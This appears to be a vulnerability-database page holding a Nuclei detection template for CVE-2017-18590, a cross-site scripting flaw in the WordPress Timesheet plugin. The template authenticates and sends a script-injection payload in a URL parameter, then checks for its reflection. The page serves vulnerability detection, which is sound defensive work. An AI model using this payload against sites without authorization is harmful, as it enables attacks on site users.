Timesheet Plugin < 0.1.5 - Cross-Site Scripting

ID: CVE-2017-18590

Severity: medium

Author: Splint3r7

Tags: cve,cve2017,wordpress,wp,wp-plugin,bws-promobar,xss,authenticated,timesheet

Description

The Timesheet plugin before 0.1.5 for WordPress has multiple XSS issues.

YAML Source

id: CVE-2017-18590

info:
  name: Timesheet Plugin < 0.1.5 - Cross-Site Scripting
  author: Splint3r7
  severity: medium
  description: |
    The Timesheet plugin before 0.1.5 for WordPress has multiple XSS issues.
  reference:
    - https://wpscan.com/vulnerability/efd816c3-90d4-40bf-850a-0e4c1a756694/
    - https://nvd.nist.gov/vuln/detail/CVE-2017-18590
    - https://downloads.wordpress.org/plugin/timesheet
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-18590
    cwe-id: CWE-79
    epss-score: 0.00088
    epss-percentile: 0.3753
    cpe: cpe:2.3:a:bestwebsoft:promobar:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: bestwebsoft
    product: timesheet
    framework: wordpress
  tags: cve,cve2017,wordpress,wp,wp-plugin,bws-promobar,xss,authenticated,timesheet

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "/wp-content/plugins/timesheet")'
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

      - |
        GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(header_2, "text/html")'
          - 'contains(body_2, "></script><script>alert(document.domain)</script>\">All</a></li>")'
        condition: and
# digest: 4a0a00473045022100f882a8ecc5a6a50623d587566f9362ce804198df00b1f5572f245d8d1c90ab8d0220320333f745e40fe8daf7528bf6c042316b0c7ec73bbbbeece6855f121d1f9271:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2017/CVE-2017-18590.yaml"

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